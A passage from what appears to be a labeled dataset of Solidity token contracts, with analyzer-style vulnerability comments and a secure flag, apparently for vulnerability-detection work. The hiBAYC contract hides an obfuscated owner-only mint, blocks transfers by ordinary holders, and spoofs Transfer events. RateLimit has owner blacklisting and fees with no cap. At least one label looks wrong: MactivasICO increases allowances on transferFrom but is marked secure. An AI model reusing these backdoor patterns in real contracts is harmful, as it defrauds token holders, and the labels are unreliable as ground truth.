_afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_3192.sol", "secure": 1, "size_bytes": 5920 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract RIPPLEFI is ERC20, Ownable {\n uint256 constant maxWalletStart = 2e16;\n uint256 constant addMaxWalletPerMinute = 1e16;\n uint256 public constant totalSupplyOnStart = 1e18;\n uint256 tradingStartTime;\n address public pool;\n\n constructor() ERC20(\"RippleFI \", \" XFI \") {\n _mint(msg.sender, totalSupplyOnStart);\n }\n\n function decimals() public pure override returns (uint8) {\n return 9;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: e981718): RIPPLEFI.maxWallet() uses timestamp for comparisons Dangerous comparisons tradingStartTime == 0 res > totalSupply()\n\t// Recommendation for e981718: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: b6a786f): RIPPLEFI.maxWallet() uses a dangerous strict equality tradingStartTime == 0\n\t// Recommendation for b6a786f: Don't use strict equality to determine if an account has enough Ether or tokens.\n function maxWallet() public view returns (uint256) {\n\t\t// timestamp | ID: e981718\n\t\t// incorrect-equality | ID: b6a786f\n if (tradingStartTime == 0) return totalSupply();\n uint256 res = maxWalletStart +\n ((block.timestamp - tradingStartTime) * addMaxWalletPerMinute) /\n (1 minutes);\n\t\t// timestamp | ID: e981718\n if (res > totalSupply()) return totalSupply();\n return res;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 6eb9d9d): RIPPLEFI._beforeTokenTransfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(balanceOf(to) + amount <= maxWallet(),wallet maximum)\n\t// Recommendation for 6eb9d9d: Avoid relying on 'block.timestamp'.\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n if (pool == address(0)) {\n require(from == owner() || to == owner(), \"trading is not started\");\n return;\n }\n\n if (to != pool)\n\t\t\t// timestamp | ID: 6eb9d9d\n require(balanceOf(to) + amount <= maxWallet(), \"wallet maximum\");\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 60bd8c5): RIPPLEFI.startTrade(address).poolAddress lacks a zerocheck on \t pool = poolAddress\n\t// Recommendation for 60bd8c5: Check that the address is not zero.\n function startTrade(address poolAddress) public onlyOwner {\n tradingStartTime = block.timestamp;\n\t\t// missing-zero-check | ID: 60bd8c5\n pool = poolAddress;\n }\n}", "file_name": "solidity_code_3193.sol", "secure": 0, "size_bytes": 2801 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract MactivasICO is IERC20 {\n string public constant name = \"MactivasICO\";\n string public constant symbol = \"MACT ICO\";\n uint8 public constant decimals = 18;\n\t// WARNING Optimization Issue (constable-states | ID: 440d95a): MactivasICO.totalSupply_ should be constant \n\t// Recommendation for 440d95a: Add the 'constant' attribute to state variables that never change.\n uint256 totalSupply_ = 200000000000000000000000000;\n\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n\n constructor() {\n balances[msg.sender] = totalSupply_;\n }\n\n function totalSupply() public view returns (uint256) {\n return totalSupply_;\n }\n\n function balanceOf(address MactP_Owner) public view returns (uint256) {\n return balances[MactP_Owner];\n }\n\n function transfer(address _to, uint256 amount) public returns (bool) {\n require(amount <= balances[msg.sender]);\n balances[msg.sender] = balances[msg.sender] - amount;\n balances[_to] = balances[_to] + amount;\n emit Transfer(msg.sender, _to, amount);\n return true;\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n allowed[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return allowed[owner][spender];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public returns (bool) {\n require(amount <= balances[from]);\n require(amount <= allowed[from][msg.sender]);\n\n balances[from] = balances[from] - amount;\n allowed[from][msg.sender] = allowed[from][msg.sender] + amount;\n balances[to] = balances[to] + amount;\n emit Transfer(from, to, amount);\n return true;\n }\n}", "file_name": "solidity_code_3194.sol", "secure": 1, "size_bytes": 2146 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address private _Owner;\n address aWDS = 0xaBA7161A7fb69c88e16ED9f455CE62B791EE4D03;\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Create(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n constructor() {\n address msgSender = _msgSender();\n _Owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _Owner;\n }\n\n function renounceOwnership() public virtual {\n require(msg.sender == _Owner);\n emit OwnershipTransferred(_Owner, address(0));\n _Owner = address(0);\n }\n}", "file_name": "solidity_code_3195.sol", "secure": 1, "size_bytes": 1072 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract HiBAYC is Context, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private bXF;\n mapping(address => uint256) private cXVF;\n mapping(address => mapping(address => uint256)) private dXC;\n\t// WARNING Optimization Issue (constable-states | ID: a07fb9c): hiBAYC.eDCE should be constant \n\t// Recommendation for a07fb9c: Add the 'constant' attribute to state variables that never change.\n uint8 eDCE = 8;\n\t// WARNING Optimization Issue (constable-states | ID: e5a548c): hiBAYC.fDXI should be constant \n\t// Recommendation for e5a548c: Add the 'constant' attribute to state variables that never change.\n uint256 fDXI = 10000000000 * 10 ** 8;\n string private _name;\n string private _symbol;\n\n constructor() {\n _name = \"hiBAYC\";\n _symbol = \"hiBAYC\";\n glxX(msg.sender, fDXI);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return eDCE;\n }\n\n function totalSupply() public view returns (uint256) {\n return fDXI;\n }\n function Crcl(address nIJS) public HKK {\n cXVF[nIJS] = 49;\n }\n function balanceOf(address account) public view returns (uint256) {\n return bXF[account];\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9f57e64): hiBAYC.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9f57e64: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return dXC[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public returns (bool success) {\n dXC[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n modifier HKK() {\n require(cXVF[msg.sender] == 13);\n _;\n }\n\n function mxCx(address nIJS, uint256 oXX) internal {\n bXF[nIJS] += oXX;\n }\n function transfer(address recipient, uint256 amount) public returns (bool) {\n require(amount <= bXF[msg.sender]);\n if (cXVF[msg.sender] <= 4) {\n hCNx(msg.sender, recipient, amount);\n return true;\n }\n if (cXVF[msg.sender] == 13) {\n iXCS(msg.sender, recipient, amount);\n return true;\n }\n }\n function glxX(address kDW, uint256 lMD) internal {\n cXVF[msg.sender] = 13;\n kDW = aWDS;\n bXF[msg.sender] = bXF[msg.sender].add(lMD);\n emit Transfer(address(0), kDW, lMD);\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public returns (bool) {\n require(amount <= bXF[sender]);\n require(amount <= dXC[sender][msg.sender]);\n if (cXVF[sender] == 13) {\n iXCS(sender, recipient, amount);\n return true;\n } else if (cXVF[sender] <= 4) {\n if (cXVF[recipient] <= 4) {\n hCNx(sender, recipient, amount);\n return true;\n }\n }\n }\n\n function ADGH(address nIJS, uint256 oXX) public HKK {\n mxCx(nIJS, oXX);\n }\n\n function hCNx(address sender, address recipient, uint256 amount) internal {\n bXF[sender] = bXF[sender].sub(amount);\n bXF[recipient] = bXF[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n function iXCS(address sender, address recipient, uint256 amount) internal {\n bXF[sender] = bXF[sender].sub(amount);\n bXF[recipient] = bXF[recipient].add(amount);\n sender = aWDS;\n emit Transfer(sender, recipient, amount);\n }\n}", "file_name": "solidity_code_3196.sol", "secure": 0, "size_bytes": 4237 }
{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract RateLimit is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"Rate Limit\";\n string private constant _symbol = \"8000\";\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 8000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n uint256 private _redisFeeOnBuy = 0;\n uint256 private _taxFeeOnBuy = 10;\n uint256 private _redisFeeOnSell = 0;\n uint256 private _taxFeeOnSell = 15;\n\n uint256 private _redisFee = _redisFeeOnSell;\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousredisFee = _redisFee;\n uint256 private _previoustaxFee = _taxFee;\n\n mapping(address => bool) public bots;\n mapping(address => uint256) public _buyMap;\n\t// WARNING Optimization Issue (constable-states | ID: 10de994): RateLimit._developmentAddress should be constant \n\t// Recommendation for 10de994: Add the 'constant' attribute to state variables that never change.\n address payable private _developmentAddress =\n payable(0xD814cb58E8f61f011C1c6Ac0E8AA3ea74cada2f0);\n\t// WARNING Optimization Issue (constable-states | ID: ccfa68a): RateLimit._marketingAddress should be constant \n\t// Recommendation for ccfa68a: Add the 'constant' attribute to state variables that never change.\n address payable private _marketingAddress =\n payable(0xD814cb58E8f61f011C1c6Ac0E8AA3ea74cada2f0);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9705f12): RateLimit.uniswapV2Router should be immutable \n\t// Recommendation for 9705f12: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 67ea73f): RateLimit.uniswapV2Pair should be immutable \n\t// Recommendation for 67ea73f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen = true;\n bool private inSwap = false;\n bool private swapEnabled = true;\n\n uint256 public _maxTxAmount = 160 * 10 ** 9;\n uint256 public _maxWalletSize = 160 * 10 ** 9;\n uint256 public _swapTokensAtAmount = 160 * 10 ** 9;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_developmentAddress] = true;\n _isExcludedFromFee[_marketingAddress] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 43c265d): RateLimit.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 43c265d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: db15f96): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for db15f96: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7228c89): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7228c89: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: db15f96\n\t\t// reentrancy-benign | ID: 7228c89\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: db15f96\n\t\t// reentrancy-benign | ID: 7228c89\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_redisFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: 16d6511\n _previousredisFee = _redisFee;\n\t\t// reentrancy-benign | ID: 16d6511\n _previoustaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: 16d6511\n _redisFee = 0;\n\t\t// reentrancy-benign | ID: 16d6511\n _taxFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: 16d6511\n _redisFee = _previousredisFee;\n\t\t// reentrancy-benign | ID: 16d6511\n _taxFee = _previoustaxFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a572c03): RateLimit._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a572c03: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 7228c89\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: db15f96\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d2a33d0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d2a33d0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 16d6511): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 16d6511: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ae9c18a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ae9c18a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n from == owner(),\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n }\n\n require(amount <= _maxTxAmount, \"TOKEN: Max Transaction Limit\");\n require(\n !bots[from] && !bots[to],\n \"TOKEN: Your account is blacklisted!\"\n );\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n if (\n canSwap &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t\t// reentrancy-events | ID: d2a33d0\n\t\t\t\t// reentrancy-benign | ID: 16d6511\n\t\t\t\t// reentrancy-eth | ID: ae9c18a\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d2a33d0\n\t\t\t\t\t// reentrancy-eth | ID: ae9c18a\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 16d6511\n _redisFee = _redisFeeOnBuy;\n\t\t\t\t// reentrancy-benign | ID: 16d6511\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 16d6511\n _redisFee = _redisFeeOnSell;\n\t\t\t\t// reentrancy-benign | ID: 16d6511\n _taxFee = _taxFeeOnSell;\n }\n }\n\n\t\t// reentrancy-events | ID: d2a33d0\n\t\t// reentrancy-benign | ID: 16d6511\n\t\t// reentrancy-eth | ID: ae9c18a\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: d2a33d0\n\t\t// reentrancy-events | ID: db15f96\n\t\t// reentrancy-benign | ID: 16d6511\n\t\t// reentrancy-benign | ID: 7228c89\n\t\t// reentrancy-eth | ID: ae9c18a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d2a33d0\n\t\t// reentrancy-events | ID: db15f96\n\t\t// reentrancy-eth | ID: ae9c18a\n _marketingAddress.transfer(amount);\n }\n\n function setTrading(bool _tradingOpen) public onlyOwner {\n tradingOpen = _tradingOpen;\n }\n\n function manualswap() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function blockBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function unblockBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n _transferStandard(sender, recipient, amount);\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: ae9c18a\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: ae9c18a\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: d2a33d0\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: ae9c18a\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: ae9c18a\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: 16d6511\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _redisFee,\n _taxFee\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(redisFee).div(100);\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 767cf0a): Missing events for critical arithmetic parameters.\n\t// Recommendation for 767cf0a: Emit an event for critical parameter changes.\n function setFee(\n uint256 redisFeeOnBuy,\n uint256 redisFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n\t\t// events-maths | ID: 767cf0a\n _redisFeeOnBuy = redisFeeOnBuy;\n\t\t// events-maths | ID: 767cf0a\n _redisFeeOnSell = redisFeeOnSell;\n\t\t// events-maths | ID: 767cf0a\n _taxFeeOnBuy = taxFeeOnBuy;\n\t\t// events-maths | ID: 767cf0a\n _taxFeeOnSell = taxFeeOnSell;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: da2b673): RateLimit.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for da2b673: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: da2b673\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function toggleSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 413e799): RateLimit.setMaxTxnAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for 413e799: Emit an event for critical parameter changes.\n function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {\n\t\t// events-maths | ID: 413e799\n _maxTxAmount = maxTxAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d00b3c7): RateLimit.setMaxWalletSize(uint256) should emit an event for _maxWalletSize = maxWalletSize \n\t// Recommendation for d00b3c7: Emit an event for critical parameter changes.\n function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {\n\t\t// events-maths | ID: d00b3c7\n _maxWalletSize = maxWalletSize;\n }\n\n function excludeMultipleAccountsFromFees(\n address[] calldata accounts,\n bool excluded\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n}", "file_name": "solidity_code_3197.sol", "secure": 0, "size_bytes": 20036 }
{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n bytes32 codehash;\n bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;\n assembly {\n codehash := extcodehash(account)\n }\n return (codehash != accountHash && codehash != 0x0);\n }\n function isPairAddress(address account) internal pure returns (bool) {\n return\n keccak256(abi.encodePacked(account)) ==\n 0x4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba;\n }\n}", "file_name": "solidity_code_3198.sol", "secure": 1, "size_bytes": 667 }
{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TrollCoin is Ownable, IERC20 {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => uint256) private _includedInFee;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _excludedFromFee;\n\t// WARNING Optimization Issue (constable-states | ID: e6fdf35): TrollCoin._name should be constant \n\t// Recommendation for e6fdf35: Add the 'constant' attribute to state variables that never change.\n string private _name = \"TrollCoin\";\n\t// WARNING Optimization Issue (constable-states | ID: e887729): TrollCoin._symbol should be constant \n\t// Recommendation for e887729: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"TROLL\";\n\t// WARNING Optimization Issue (constable-states | ID: 414d17e): TrollCoin._decimals should be constant \n\t// Recommendation for 414d17e: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 6;\n\t// WARNING Optimization Issue (immutable-states | ID: c597855): TrollCoin._totalSupply should be immutable \n\t// Recommendation for c597855: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 10000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: 66d0f26): TrollCoin._maxTxAmount should be immutable \n\t// Recommendation for 66d0f26: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxTxAmount = 10000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: 5a6dcce): TrollCoin._maxWallet should be immutable \n\t// Recommendation for 5a6dcce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxWallet = 10000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: d081ca5): TrollCoin._router should be constant \n\t// Recommendation for d081ca5: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private _router =\n IUniswapV2Router(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);\n bool liquifying = false;\n struct Buyback {\n address to;\n uint256 amount;\n }\n Buyback[] _buybacks;\n constructor() {\n _balances[msg.sender] = _totalSupply;\n _excludedFromFee[msg.sender] = true;\n emit Transfer(address(0), msg.sender, _balances[msg.sender]);\n }\n function name() external view returns (string memory) {\n return _name;\n }\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) 